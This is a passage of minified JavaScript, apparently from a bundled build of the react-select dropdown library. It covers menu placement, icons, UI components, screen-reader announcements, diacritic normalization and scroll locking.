t=e.children,n=e.minMenuHeight,o=e.maxMenuHeight,r=e.menuPlacement,s=e.menuPosition,c=e.menuShouldScrollIntoView,u=e.theme,d=((0,l.useContext)(ee)||{}).setPortalPlacement,p=(0,l.useRef)(null),f=(0,l.useState)(o),g=(0,a.A)(f,2),h=g[0],m=g[1],b=(0,l.useState)(null),v=(0,a.A)(b,2),w=v[0],y=v[1],C=u.spacing.controlHeight;return I((function(){var e=p.current;if(e){var t="fixed"===s,i=function(e){var t=e.maxHeight,n=e.menuEl,o=e.minHeight,r=e.placement,i=e.shouldScroll,a=e.isFixedPosition,s=e.controlHeight,l=function(e){var t=getComputedStyle(e),n="absolute"===t.position,o=/(auto|scroll)/;if("fixed"===t.position)return document.documentElement;for(var r=e;r=r.parentElement;)if(t=getComputedStyle(r),(!n||"static"!==t.position)&&o.test(t.overflow+t.overflowY+t.overflowX))return r;return document.documentElement}(n),c={placement:"bottom",maxHeight:t};if(!n||!n.offsetParent)return c;var u,d=l.getBoundingClientRect().height,p=n.getBoundingClientRect(),f=p.bottom,g=p.height,h=p.top,m=n.offsetParent.getBoundingClientRect().top,b=a||V(u=l)?window.innerHeight:u.clientHeight,v=H(l),w=parseInt(getComputedStyle(n).marginBottom,10),y=parseInt(getComputedStyle(n).marginTop,10),C=m-y,x=b-h,S=C+v,O=d-v-h,R=f-b+v+w,E=v+h-y,k=160;switch(r){case"auto":case"bottom":if(x>=g)return{placement:"bottom",maxHeight:t};if(O>=g&&!a)return i&&j(l,R,k),{placement:"bottom",maxHeight:t};if(!a&&O>=o||a&&x>=o)return i&&j(l,R,k),{placement:"bottom",maxHeight:a?x-w:O-w};if("auto"===r||a){var I=t,A=a?C:S;return A>=o&&(I=Math.min(A-w-s,t)),{placement:"top",maxHeight:I}}if("bottom"===r)return i&&$(l,R),{placement:"bottom",maxHeight:t};break;case"top":if(C>=g)return{placement:"top",maxHeight:t};if(S>=g&&!a)return i&&j(l,E,k),{placement:"top",maxHeight:t};if(!a&&S>=o||a&&C>=o){var P=t;return(!a&&S>=o||a&&C>=o)&&(P=a?C-y:S-y),i&&j(l,E,k),{placement:"top",maxHeight:P}}return{placement:"bottom",maxHeight:t};default:throw new Error('Invalid placement provided "'.concat(r,'".'))}return c}({maxHeight:o,menuEl:e,minHeight:n,placement:r,shouldScroll:c&&!t,isFixedPosition:t,controlHeight:C});m(i.maxHeight),y(i.placement),null==d||d(i.placement)}}),[o,r,s,c,n,d,C]),t({ref:p,placerProps:i(i({},e),{},{placement:w||Q(r),maxHeight:h})})},ne=function(e,t){var n=e.theme,o=n.spacing.baseUnit,r=n.colors;return i({textAlign:"center"},t?{}:{color:r.neutral40,padding:"".concat(2*o,"px ").concat(3*o,"px")})},oe=ne,re=ne,ie=["size"],ae=["innerProps","isRtl","size"],se={name:"8mmkcg",styles:"display:inline-block;fill:currentColor;line-height:1;stroke:currentColor;stroke-width:0"},le=function(e){var t=e.size,n=(0,s.A)(e,ie);return(0,w.Y)("svg",(0,u.A)({height:t,width:t,viewBox:"0 0 20 20","aria-hidden":"true",focusable:"false",css:se},n))},ce=function(e){return(0,w.Y)(le,(0,u.A)({size:20},e),(0,w.Y)("path",{d:"M14.348 14.849c-0.469 0.469-1.229 0.469-1.697 0l-2.651-3.030-2.651 3.029c-0.469 0.469-1.229 0.469-1.697 0-0.469-0.469-0.469-1.229 0-1.697l2.758-3.15-2.759-3.152c-0.469-0.469-0.469-1.228 0-1.697s1.228-0.469 1.697 0l2.652 3.031 2.651-3.031c0.469-0.469 1.228-0.469 1.697 0s0.469 1.229 0 1.697l-2.758 3.152 2.758 3.15c0.469 0.469 0.469 1.229 0 1.698z"}))},ue=function(e){return(0,w.Y)(le,(0,u.A)({size:20},e),(0,w.Y)("path",{d:"M4.516 7.548c0.436-0.446 1.043-0.481 1.576 0l3.908 3.747 3.908-3.747c0.533-0.481 1.141-0.446 1.574 0 0.436 0.445 0.408 1.197 0 1.615-0.406 0.418-4.695 4.502-4.695 4.502-0.217 0.223-0.502 0.335-0.787 0.335s-0.57-0.112-0.789-0.335c0 0-4.287-4.084-4.695-4.502s-0.436-1.17 0-1.615z"}))},de=function(e,t){var n=e.isFocused,o=e.theme,r=o.spacing.baseUnit,a=o.colors;return i({label:"indicatorContainer",display:"flex",transition:"color 150ms"},t?{}:{color:n?a.neutral60:a.neutral20,padding:2*r,":hover":{color:n?a.neutral80:a.neutral40}})},pe=de,fe=de,ge=(0,w.i7)(J||(K=["\n  0%, 80%, 100% { opacity: 0; }\n  40% { opacity: 1; }\n"],Z||(Z=K.slice(0)),J=Object.freeze(Object.defineProperties(K,{raw:{value:Object.freeze(Z)}})))),he=function(e){var t=e.delay,n=e.offset;return(0,w.Y)("span",{css:(0,w.AH)({animation:"".concat(ge," 1s ease-in-out ").concat(t,"ms infinite;"),backgroundColor:"currentColor",borderRadius:"1em",display:"inline-block",marginLeft:n?"1em":void 0,height:"1em",verticalAlign:"top",width:"1em"},"","")})},me=["data"],be=["innerRef","isDisabled","isHidden","inputClassName"],ve={gridArea:"1 / 2",font:"inherit",minWidth:"2px",border:0,margin:0,outline:0,padding:0},we={flex:"1 1 auto",display:"inline-grid",gridArea:"1 / 1 / 2 / 3",gridTemplateColumns:"0 min-content","&:after":i({content:'attr(data-value) " "',visibility:"hidden",whiteSpace:"pre"},ve)},ye=function(e){return i({label:"input",color:"inherit",background:0,opacity:e?0:1,width:"100%"},ve)},Ce=function(e){var t=e.children,n=e.innerProps;return(0,w.Y)("div",n,t)},xe={ClearIndicator:function(e){var t=e.children,n=e.innerProps;return(0,w.Y)("div",(0,u.A)({},T(e,"clearIndicator",{indicator:!0,"clear-indicator":!0}),n),t||(0,w.Y)(ce,null))},Control:function(e){var t=e.children,n=e.isDisabled,o=e.isFocused,r=e.innerRef,i=e.innerProps,a=e.menuIsOpen;return(0,w.Y)("div",(0,u.A)({ref:r},T(e,"control",{control:!0,"control--is-disabled":n,"control--is-focused":o,"control--menu-is-open":a}),i,{"aria-disabled":n||void 0}),t)},DropdownIndicator:function(e){var t=e.children,n=e.innerProps;return(0,w.Y)("div",(0,u.A)({},T(e,"dropdownIndicator",{indicator:!0,"dropdown-indicator":!0}),n),t||(0,w.Y)(ue,null))},DownChevron:ue,CrossIcon:ce,Group:function(e){var t=e.children,n=e.cx,o=e.getStyles,r=e.getClassNames,i=e.Heading,a=e.headingProps,s=e.innerProps,l=e.label,c=e.theme,d=e.selectProps;return(0,w.Y)("div",(0,u.A)({},T(e,"group",{group:!0}),s),(0,w.Y)(i,(0,u.A)({},a,{selectProps:d,theme:c,getStyles:o,getClassNames:r,cx:n}),l),(0,w.Y)("div",null,t))},GroupHeading:function(e){var t=L(e);t.data;var n=(0,s.A)(t,me);return(0,w.Y)("div",(0,u.A)({},T(e,"groupHeading",{"group-heading":!0}),n))},IndicatorsContainer:function(e){var t=e.children,n=e.innerProps;return(0,w.Y)("div",(0,u.A)({},T(e,"indicatorsContainer",{indicators:!0}),n),t)},IndicatorSeparator:function(e){var t=e.innerProps;return(0,w.Y)("span",(0,u.A)({},t,T(e,"indicatorSeparator",{"indicator-separator":!0})))},Input:function(e){var t=e.cx,n=e.value,o=L(e),r=o.innerRef,i=o.isDisabled,a=o.isHidden,l=o.inputClassName,c=(0,s.A)(o,be);return(0,w.Y)("div",(0,u.A)({},T(e,"input",{"input-container":!0}),{"data-value":n||""}),(0,w.Y)("input",(0,u.A)({className:t({input:!0},l),ref:r,style:ye(a),disabled:i},c)))},LoadingIndicator:function(e){var t=e.innerProps,n=e.isRtl,o=e.size,r=void 0===o?4:o,a=(0,s.A)(e,ae);return(0,w.Y)("div",(0,u.A)({},T(i(i({},a),{},{innerProps:t,isRtl:n,size:r}),"loadingIndicator",{indicator:!0,"loading-indicator":!0}),t),(0,w.Y)(he,{delay:0,offset:n}),(0,w.Y)(he,{delay:160,offset:!0}),(0,w.Y)(he,{delay:320,offset:!n}))},Menu:function(e){var t=e.children,n=e.innerRef,o=e.innerProps;return(0,w.Y)("div",(0,u.A)({},T(e,"menu",{menu:!0}),{ref:n},o),t)},MenuList:function(e){var t=e.children,n=e.innerProps,o=e.innerRef,r=e.isMulti;return(0,w.Y)("div",(0,u.A)({},T(e,"menuList",{"menu-list":!0,"menu-list--is-multi":r}),{ref:o},n),t)},MenuPortal:function(e){var t=e.appendTo,n=e.children,o=e.controlElement,r=e.innerProps,s=e.menuPlacement,c=e.menuPosition,d=(0,l.useRef)(null),p=(0,l.useRef)(null),f=(0,l.useState)(Q(s)),g=(0,a.A)(f,2),h=g[0],m=g[1],b=(0,l.useMemo)((function(){return{setPortalPlacement:m}}),[]),v=(0,l.useState)(null),O=(0,a.A)(v,2),R=O[0],E=O[1],A=(0,l.useCallback)((function(){if(o){var e=function(e){var t=e.getBoundingClientRect();return{bottom:t.bottom,height:t.height,left:t.left,right:t.right,top:t.top,width:t.width}}(o),t="fixed"===c?0:window.pageYOffset,n=e[h]+t;n===(null==R?void 0:R.offset)&&e.left===(null==R?void 0:R.rect.left)&&e.width===(null==R?void 0:R.rect.width)||E({offset:n,rect:e})}}),[o,c,h,null==R?void 0:R.offset,null==R?void 0:R.rect.left,null==R?void 0:R.rect.width]);I((function(){A()}),[A]);var P=(0,l.useCallback)((function(){"function"==typeof p.current&&(p.current(),p.current=null),o&&d.current&&(p.current=function(e,t,n,o){void 0===o&&(o={});const{ancestorScroll:r=!0,ancestorResize:i=!0,elementResize:a="function"==typeof ResizeObserver,layoutShift:s="function"==typeof IntersectionObserver,animationFrame:l=!1}=o,c=S(e),u=r||i?[...c?(0,x.v9)(c):[],...(0,x.v9)(t)]:[];u.forEach((e=>{r&&e.addEventListener("scroll",n,{passive:!0}),i&&e.addEventListener("resize",n)}));const d=c&&s?function(e,t){let n,o=null;const r=(0,x.ep)(e);function i(){var e;clearTimeout(n),null==(e=o)||e.disconnect(),o=null}return function a(s,l){void 0===s&&(s=!1),void 0===l&&(l=1),i();const{left:c,top:u,width:d,height:p}=e.getBoundingClientRect();if(s||t(),!d||!p)return;const f={rootMargin:-(0,C.RI)(u)+"px "+-(0,C.RI)(r.clientWidth-(c+d))+"px "+-(0,C.RI)(r.clientHeight-(u+p))+"px "+-(0,C.RI)(c)+"px",threshold:(0,C.T9)(0,(0,C.jk)(1,l))||1};let g=!0;function h(e){const t=e[0].intersectionRatio;if(t!==l){if(!g)return a();t?a(!1,t):n=setTimeout((()=>{a(!1,1e-7)}),1e3)}g=!1}try{o=new IntersectionObserver(h,{...f,root:r.ownerDocument})}catch(e){o=new IntersectionObserver(h,f)}o.observe(e)}(!0),i}(c,n):null;let p,f=-1,g=null;a&&(g=new ResizeObserver((e=>{let[o]=e;o&&o.target===c&&g&&(g.unobserve(t),cancelAnimationFrame(f),f=requestAnimationFrame((()=>{var e;null==(e=g)||e.observe(t)}))),n()})),c&&!l&&g.observe(c),g.observe(t));let h=l?k(e):null;return l&&function t(){const o=k(e);!h||o.x===h.x&&o.y===h.y&&o.width===h.width&&o.height===h.height||n(),h=o,p=requestAnimationFrame(t)}(),n(),()=>{var e;u.forEach((e=>{r&&e.removeEventListener("scroll",n),i&&e.removeEventListener("resize",n)})),null==d||d(),null==(e=g)||e.disconnect(),g=null,l&&cancelAnimationFrame(p)}}(o,d.current,A,{elementResize:"ResizeObserver"in window}))}),[o,A]);I((function(){P()}),[P]);var D=(0,l.useCallback)((function(e){d.current=e,P()}),[P]);if(!t&&"fixed"!==c||!R)return null;var M=(0,w.Y)("div",(0,u.A)({ref:D},T(i(i({},e),{},{offset:R.offset,position:c,rect:R.rect}),"menuPortal",{"menu-portal":!0}),r),n);return(0,w.Y)(ee.Provider,{value:b},t?(0,y.createPortal)(M,t):M)},LoadingMessage:function(e){var t=e.children,n=void 0===t?"Loading...":t,o=e.innerProps,r=(0,s.A)(e,X);return(0,w.Y)("div",(0,u.A)({},T(i(i({},r),{},{children:n,innerProps:o}),"loadingMessage",{"menu-notice":!0,"menu-notice--loading":!0}),o),n)},NoOptionsMessage:function(e){var t=e.children,n=void 0===t?"No options":t,o=e.innerProps,r=(0,s.A)(e,q);return(0,w.Y)("div",(0,u.A)({},T(i(i({},r),{},{children:n,innerProps:o}),"noOptionsMessage",{"menu-notice":!0,"menu-notice--no-options":!0}),o),n)},MultiValue:function(e){var t=e.children,n=e.components,o=e.data,r=e.innerProps,a=e.isDisabled,s=e.removeProps,l=e.selectProps,c=n.Container,u=n.Label,d=n.Remove;return(0,w.Y)(c,{data:o,innerProps:i(i({},T(e,"multiValue",{"multi-value":!0,"multi-value--is-disabled":a})),r),selectProps:l},(0,w.Y)(u,{data:o,innerProps:i({},T(e,"multiValueLabel",{"multi-value__label":!0})),selectProps:l},t),(0,w.Y)(d,{data:o,innerProps:i(i({},T(e,"multiValueRemove",{"multi-value__remove":!0})),{},{"aria-label":"Remove ".concat(t||"option")},s),selectProps:l}))},MultiValueContainer:Ce,MultiValueLabel:Ce,MultiValueRemove:function(e){var t=e.children,n=e.innerProps;return(0,w.Y)("div",(0,u.A)({role:"button"},n),t||(0,w.Y)(ce,{size:14}))},Option:function(e){var t=e.children,n=e.isDisabled,o=e.isFocused,r=e.isSelected,i=e.innerRef,a=e.innerProps;return(0,w.Y)("div",(0,u.A)({},T(e,"option",{option:!0,"option--is-disabled":n,"option--is-focused":o,"option--is-selected":r}),{ref:i,"aria-disabled":n},a),t)},Placeholder:function(e){var t=e.children,n=e.innerProps;return(0,w.Y)("div",(0,u.A)({},T(e,"placeholder",{placeholder:!0}),n),t)},SelectContainer:function(e){var t=e.children,n=e.innerProps,o=e.isDisabled,r=e.isRtl;return(0,w.Y)("div",(0,u.A)({},T(e,"container",{"--is-disabled":o,"--is-rtl":r}),n),t)},SingleValue:function(e){var t=e.children,n=e.isDisabled,o=e.innerProps;return(0,w.Y)("div",(0,u.A)({},T(e,"singleValue",{"single-value":!0,"single-value--is-disabled":n}),o),t)},ValueContainer:function(e){var t=e.children,n=e.innerProps,o=e.isMulti,r=e.hasValue;return(0,w.Y)("div",(0,u.A)({},T(e,"valueContainer",{"value-container":!0,"value-container--is-multi":o,"value-container--has-value":r}),n),t)}},Se=Number.isNaN||function(e){return"number"==typeof e&&e!=e};function Oe(e,t){if(e.length!==t.length)return!1;for(var n=0;n<e.length;n++)if(!((o=e[n])===(r=t[n])||Se(o)&&Se(r)))return!1;var o,r;return!0}for(var Re={name:"7pg0cj-a11yText",styles:"label:a11yText;z-index:9999;border:0;clip:rect(1px, 1px, 1px, 1px);height:1px;width:1px;position:absolute;overflow:hidden;padding:0;white-space:nowrap"},Ee=function(e){return(0,w.Y)("span",(0,u.A)({css:Re},e))},ke={guidance:function(e){var t=e.isSearchable,n=e.isMulti,o=e.tabSelectsValue,r=e.context,i=e.isInitialFocus;switch(r){case"menu":return"Use Up and Down to choose options, press Enter to select the currently focused option, press Escape to exit the menu".concat(o?", press Tab to select the option and exit the menu":"",".");case"input":return i?"".concat(e["aria-label"]||"Select"," is focused ").concat(t?",type to refine list":"",", press Down to open the menu, ").concat(n?" press left to focus selected values":""):"";case"value":return"Use left and right to toggle between focused values, press Backspace to remove the currently focused value";default:return""}},onChange:function(e){var t=e.action,n=e.label,o=void 0===n?"":n,r=e.labels,i=e.isDisabled;switch(t){case"deselect-option":case"pop-value":case"remove-value":return"option ".concat(o,", deselected.");case"clear":return"All selected options have been cleared.";case"initial-input-focus":return"option".concat(r.length>1?"s":""," ").concat(r.join(","),", selected.");case"select-option":return"option ".concat(o,i?" is disabled. Select another option.":", selected.");default:return""}},onFocus:function(e){var t=e.context,n=e.focused,o=e.options,r=e.label,i=void 0===r?"":r,a=e.selectValue,s=e.isDisabled,l=e.isSelected,c=e.isAppleDevice,u=function(e,t){return e&&e.length?"".concat(e.indexOf(t)+1," of ").concat(e.length):""};if("value"===t&&a)return"value ".concat(i," focused, ").concat(u(a,n),".");if("menu"===t&&c){var d=s?" disabled":"",p="".concat(l?" selected":"").concat(d);return"".concat(i).concat(p,", ").concat(u(o,n),".")}return""},onFilter:function(e){var t=e.inputValue,n=e.resultsMessage;return"".concat(n).concat(t?" for search term "+t:"",".")}},Ie=function(e){var t=e.ariaSelection,n=e.focusedOption,o=e.focusedValue,r=e.focusableOptions,a=e.isFocused,s=e.selectValue,c=e.selectProps,u=e.id,d=e.isAppleDevice,p=c.ariaLiveMessages,f=c.getOptionLabel,g=c.inputValue,h=c.isMulti,m=c.isOptionDisabled,b=c.isSearchable,v=c.menuIsOpen,y=c.options,C=c.screenReaderStatus,x=c.tabSelectsValue,S=c.isLoading,O=c["aria-label"],R=c["aria-live"],E=(0,l.useMemo)((function(){return i(i({},ke),p||{})}),[p]),k=(0,l.useMemo)((function(){var e,n="";if(t&&E.onChange){var o=t.option,r=t.options,a=t.removedValue,l=t.removedValues,c=t.value,u=a||o||(e=c,Array.isArray(e)?null:e),d=u?f(u):"",p=r||l||void 0,g=p?p.map(f):[],h=i({isDisabled:u&&m(u,s),label:d,labels:g},t);n=E.onChange(h)}return n}),[t,E,m,s,f]),I=(0,l.useMemo)((function(){var e="",t=n||o,i=!!(n&&s&&s.includes(n));if(t&&E.onFocus){var a={focused:t,label:f(t),isDisabled:m(t,s),isSelected:i,options:r,context:t===n?"menu":"value",selectValue:s,isAppleDevice:d};e=E.onFocus(a)}return e}),[n,o,f,m,E,r,s,d]),A=(0,l.useMemo)((function(){var e="";if(v&&y.length&&!S&&E.onFilter){var t=C({count:r.length});e=E.onFilter({inputValue:g,resultsMessage:t})}return e}),[r,g,v,E,y,C,S]),P="initial-input-focus"===(null==t?void 0:t.action),D=(0,l.useMemo)((function(){var e="";if(E.guidance){var t=o?"value":v?"menu":"input";e=E.guidance({"aria-label":O,context:t,isDisabled:n&&m(n,s),isMulti:h,isSearchable:b,tabSelectsValue:x,isInitialFocus:P})}return e}),[O,n,o,h,m,b,v,E,s,x,P]),M=(0,w.Y)(l.Fragment,null,(0,w.Y)("span",{id:"aria-selection"},k),(0,w.Y)("span",{id:"aria-focused"},I),(0,w.Y)("span",{id:"aria-results"},A),(0,w.Y)("span",{id:"aria-guidance"},D));return(0,w.Y)(l.Fragment,null,(0,w.Y)(Ee,{id:u},P&&M),(0,w.Y)(Ee,{"aria-live":R,"aria-atomic":"false","aria-relevant":"additions text",role:"log"},a&&!P&&M))},Ae=[{base:"A",letters:"AⒶAÀÁÂẦẤẪẨÃĀĂẰẮẴẲȦǠÄǞẢÅǺǍȀȂẠẬẶḀĄȺⱯ"},{base:"AA",letters:"Ꜳ"},{base:"AE",letters:"ÆǼǢ"},{base:"AO",letters:"Ꜵ"},{base:"AU",letters:"Ꜷ"},{base:"AV",letters:"ꜸꜺ"},{base:"AY",letters:"Ꜽ"},{base:"B",letters:"BⒷBḂḄḆɃƂƁ"},{base:"C",letters:"CⒸCĆĈĊČÇḈƇȻꜾ"},{base:"D",letters:"DⒹDḊĎḌḐḒḎĐƋƊƉꝹ"},{base:"DZ",letters:"DZDŽ"},{base:"Dz",letters:"DzDž"},{base:"E",letters:"EⒺEÈÉÊỀẾỄỂẼĒḔḖĔĖËẺĚȄȆẸỆȨḜĘḘḚƐƎ"},{base:"F",letters:"FⒻFḞƑꝻ"},{base:"G",letters:"GⒼGǴĜḠĞĠǦĢǤƓꞠꝽꝾ"},{base:"H",letters:"HⒽHĤḢḦȞḤḨḪĦⱧⱵꞍ"},{base:"I",letters:"IⒾIÌÍÎĨĪĬİÏḮỈǏȈȊỊĮḬƗ"},{base:"J",letters:"JⒿJĴɈ"},{base:"K",letters:"KⓀKḰǨḲĶḴƘⱩꝀꝂꝄꞢ"},{base:"L",letters:"LⓁLĿĹĽḶḸĻḼḺŁȽⱢⱠꝈꝆꞀ"},{base:"LJ",letters:"LJ"},{base:"Lj",letters:"Lj"},{base:"M",letters:"MⓂMḾṀṂⱮƜ"},{base:"N",letters:"NⓃNǸŃÑṄŇṆŅṊṈȠƝꞐꞤ"},{base:"NJ",letters:"NJ"},{base:"Nj",letters:"Nj"},{base:"O",letters:"OⓄOÒÓÔỒỐỖỔÕṌȬṎŌṐṒŎȮȰÖȪỎŐǑȌȎƠỜỚỠỞỢỌỘǪǬØǾƆƟꝊꝌ"},{base:"OI",letters:"Ƣ"},{base:"OO",letters:"Ꝏ"},{base:"OU",letters:"Ȣ"},{base:"P",letters:"PⓅPṔṖƤⱣꝐꝒꝔ"},{base:"Q",letters:"QⓆQꝖꝘɊ"},{base:"R",letters:"RⓇRŔṘŘȐȒṚṜŖṞɌⱤꝚꞦꞂ"},{base:"S",letters:"SⓈSẞŚṤŜṠŠṦṢṨȘŞⱾꞨꞄ"},{base:"T",letters:"TⓉTṪŤṬȚŢṰṮŦƬƮȾꞆ"},{base:"TZ",letters:"Ꜩ"},{base:"U",letters:"UⓊUÙÚÛŨṸŪṺŬÜǛǗǕǙỦŮŰǓȔȖƯỪỨỮỬỰỤṲŲṶṴɄ"},{base:"V",letters:"VⓋVṼṾƲꝞɅ"},{base:"VY",letters:"Ꝡ"},{base:"W",letters:"WⓌWẀẂŴẆẄẈⱲ"},{base:"X",letters:"XⓍXẊẌ"},{base:"Y",letters:"YⓎYỲÝŶỸȲẎŸỶỴƳɎỾ"},{base:"Z",letters:"ZⓏZŹẐŻŽẒẔƵȤⱿⱫꝢ"},{base:"a",letters:"aⓐaẚàáâầấẫẩãāăằắẵẳȧǡäǟảåǻǎȁȃạậặḁąⱥɐ"},{base:"aa",letters:"ꜳ"},{base:"ae",letters:"æǽǣ"},{base:"ao",letters:"ꜵ"},{base:"au",letters:"ꜷ"},{base:"av",letters:"ꜹꜻ"},{base:"ay",letters:"ꜽ"},{base:"b",letters:"bⓑbḃḅḇƀƃɓ"},{base:"c",letters:"cⓒcćĉċčçḉƈȼꜿↄ"},{base:"d",letters:"dⓓdḋďḍḑḓḏđƌɖɗꝺ"},{base:"dz",letters:"dzdž"},{base:"e",letters:"eⓔeèéêềếễểẽēḕḗĕėëẻěȅȇẹệȩḝęḙḛɇɛǝ"},{base:"f",letters:"fⓕfḟƒꝼ"},{base:"g",letters:"gⓖgǵĝḡğġǧģǥɠꞡᵹꝿ"},{base:"h",letters:"hⓗhĥḣḧȟḥḩḫẖħⱨⱶɥ"},{base:"hv",letters:"ƕ"},{base:"i",letters:"iⓘiìíîĩīĭïḯỉǐȉȋịįḭɨı"},{base:"j",letters:"jⓙjĵǰɉ"},{base:"k",letters:"kⓚkḱǩḳķḵƙⱪꝁꝃꝅꞣ"},{base:"l",letters:"lⓛlŀĺľḷḹļḽḻſłƚɫⱡꝉꞁꝇ"},{base:"lj",letters:"lj"},{base:"m",letters:"mⓜmḿṁṃɱɯ"},{base:"n",letters:"nⓝnǹńñṅňṇņṋṉƞɲʼnꞑꞥ"},{base:"nj",letters:"nj"},{base:"o",letters:"oⓞoòóôồốỗổõṍȭṏōṑṓŏȯȱöȫỏőǒȍȏơờớỡởợọộǫǭøǿɔꝋꝍɵ"},{base:"oi",letters:"ƣ"},{base:"ou",letters:"ȣ"},{base:"oo",letters:"ꝏ"},{base:"p",letters:"pⓟpṕṗƥᵽꝑꝓꝕ"},{base:"q",letters:"qⓠqɋꝗꝙ"},{base:"r",letters:"rⓡrŕṙřȑȓṛṝŗṟɍɽꝛꞧꞃ"},{base:"s",letters:"sⓢsßśṥŝṡšṧṣṩșşȿꞩꞅẛ"},{base:"t",letters:"tⓣtṫẗťṭțţṱṯŧƭʈⱦꞇ"},{base:"tz",letters:"ꜩ"},{base:"u",letters:"uⓤuùúûũṹūṻŭüǜǘǖǚủůűǔȕȗưừứữửựụṳųṷṵʉ"},{base:"v",letters:"vⓥvṽṿʋꝟʌ"},{base:"vy",letters:"ꝡ"},{base:"w",letters:"wⓦwẁẃŵẇẅẘẉⱳ"},{base:"x",letters:"xⓧxẋẍ"},{base:"y",letters:"yⓨyỳýŷỹȳẏÿỷẙỵƴɏỿ"},{base:"z",letters:"zⓩzźẑżžẓẕƶȥɀⱬꝣ"}],Pe=new RegExp("["+Ae.map((function(e){return e.letters})).join("")+"]","g"),De={},Me=0;Me<Ae.length;Me++)for(var Fe=Ae[Me],Le=0;Le<Fe.letters.length;Le++)De[Fe.letters[Le]]=Fe.base;var Te=function(e){return e.replace(Pe,(function(e){return De[e]}))},Ve=function(e,t){void 0===t&&(t=Oe);var n=null;function o(){for(var o=[],r=0;r<arguments.length;r++)o[r]=arguments[r];if(n&&n.lastThis===this&&t(o,n.lastArgs))return n.lastResult;var i=e.apply(this,o);return n={lastResult:i,lastArgs:o,lastThis:this},i}return o.clear=function(){n=null},o}(Te),He=function(e){return e.replace(/^\s+|\s+$/g,"")},$e=function(e){return"".concat(e.label," ").concat(e.value)},je=["innerRef"];function _e(e){var t=e.innerRef,n=function(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),o=1;o<t;o++)n[o-1]=arguments[o];var r=Object.entries(e).filter((function(e){var t=(0,a.A)(e,1)[0];return!n.includes(t)}));return r.reduce((function(e,t){var n=(0,a.A)(t,2),o=n[0],r=n[1];return e[o]=r,e}),{})}((0,s.A)(e,je),"onExited","in","enter","exit","appear");return(0,w.Y)("input",(0,u.A)({ref:t},n,{css:(0,w.AH)({label:"dummyInput",background:0,border:0,caretColor:"transparent",fontSize:"inherit",gridArea:"1 / 1 / 2 / 3",outline:0,padding:0,width:1,color:"transparent",left:-100,opacity:0,position:"relative",transform:"scale(.01)"},"","")}))}var ze=["boxSizing","height","overflow","paddingRight","position"],Ne={boxSizing:"border-box",overflow:"hidden",position:"relative",height:"100%"};function Be(e){e.preventDefault()}function Ye(e){e.stopPropagation()}function We(){var e=this.scrollTop,t=this.scrollHeight,n=e+this.offsetHeight;0===e?this.scrollTop=1:n===t&&(this.scrollTop=e-1)}function Ue(){return"ontouchstart"in window||navigator.maxTouchPoints}var Ge=!("undefined"==typeof window||!window.document||!window.document.createElement),qe=0,Xe={capture:!1,passive:!1},Je=function(e){var t=e.target;return t.ownerDocument.activeElement&&t.ownerDocument.activeElement.blur()},Ke={name:"1kfdb0e",styles:"position:fixed;left:0;bottom:0;right:0;top:0"};function Ze(e){var t=e.children,n=e.lockEnabled,o=e.captureEnabled,r=function(e){var t=e.isEnabled,n=e.onBottomArrive,o=e.onBottomLeave,r=e.onTopArrive,i=e.onTopLeave,a=(0,l.useRef)(!1),s=(0,l.useRef)(!1),c=(0,l.useRef)(0),u=(0,l.useRef)(null),d=(0,l.useCallback)((function(e,t){if(null!==u.current){var l=u.current,c=l.scrollTop,d=l.scrollHeight,p=l.clientHeight,f=u.current,g=t>0,h=d-p-c,m=!1;h>t&&a.current&&(o&&o(e),a.current=!1),g&&s.current&&(i&&i(e),s.current=!1),g&&t>h?(n&&!a.current&&n(e),f.scrollTop=d,m=!0,a.current=!0):!g&&-t>c&&(r&&!s.current&&r(e),f.scrollTop=0,m=!0,s.current=!0),m&&function(e){e.cancelable&&e.preventDefault(),e.stopPropagation()}(e)}}),[n,o,r,i]),p=(0,l.useCallback)((function(e){d(e,e.deltaY)}),[d]),f=(0,l.useCallback)((function(e){c.current=e.changedTouches[0].clientY}),[]),g=(0,l.useCallback)((function(e){var t=c.current-e.changedTouches[0].clientY;d(e,t)}),[d]),h=(0,l.useCallback)((function(e){if(e){var t=!!W&&{passive:!1};e.addEventListener("wheel",p,t),e.addEventListener("touchstart",f,t),e.addEventListener("touchmove",g,t)}}),[g,f,p]),m=(0,l.useCallback)((function(e){e&&(e.removeEventListener("wheel",p,!1),e.removeEventListener("touchstart",f,!1),e.removeEventListener("touchmove",g,!1))}),[g,f,p]);return(0,l.useEffect)((function(){if(t){var e=u.current;return h(e),function(){m(e)}}}),[t,h,m]),function(e){u.current=e}}({isEnabled:void 0===o||o,onBottomArrive:e.onBottomArrive,onBottomLeave:e.onBottomLeave,onTopArrive:e.onTopArrive,onTopLeave:e.onTopLeave}),i=function(e){var t=e.isEnabled,n=e.accountForScrollbars,o=void 0===n||n,r=(0,l.useRef)({}),i=(0,l.useRef)(null),a=(0,l.useCallback)((function(e){if(Ge){var t=document.body,n=t&&t.style;if(o&&ze.forEach((function(e){var t=n&&n[e];r.current[e]=t})),o&&qe<1){var i=parseInt(r.current.paddingRight,10)||0,a=document.body?document.body.clientWidth:0,s=window.innerWidth-a+i||0;Object.keys(Ne).forEach((function(e){var t=Ne[e];n&&(n[e]=t)})),n&&(n.paddingRight="".concat(s,"px"))}t&&Ue()&&(t.addEventListener("touchmove",Be,Xe),e&&(e.addEventListener("touchstart",We,Xe),e.addEventListener("touchmove",Ye,Xe))),qe+=1}}),[o]),s=(0,l.useCallback)((function(e){if(Ge){var t=document.body,n=t&&t.style;qe=Math.max(qe-1,0),o&&qe<1&&ze.forEach((function(e){var t=r.current[e];n&&(n[e]=t)})),t&&Ue()&&(t.removeEventListener("touchmove",Be,Xe),e&&(e.removeEventListener("touchstart",We,Xe),e.removeEventListener("touchmove",Ye,Xe)))}}),[o]);return(0,l.useEffect)((function(){if(t){var e=i.current;return a(e),function(){s(e)}}}),[t,a,s]),function(e){i.current=e}}({isEnabled:n});return(0,w.Y)(l.Fragment,null,n&&(0,w.Y)("div",{onClick:Je,css:Ke}),t((function(e){r(e),i(e)})))}var Qe={name:"1a0ro4n-requiredInput",styles:"label:requiredInput;opacity:0;pointer-events:none;position:absolute;bottom:0;left:0;right:0;width:100%"},et=function(e){var t=e.name,n=e.onFocus;return(0,w.Y)("input",{required:!0,name:t,tabIndex:-1,"aria-hidden":"true",onFocus:n,css:Qe,value:"",onChange:function(){}})};function tt(e){var t;return"undefined"!=typeof window&&null!=window.navigator&&e.test((null===(t=window.navigator.userAgentData)||void 0===t?void 0:t.platform)||window.navigator.platform)}function nt(){return tt(/^Mac/i)}var ot={clearIndicator:fe,container:function(e){var 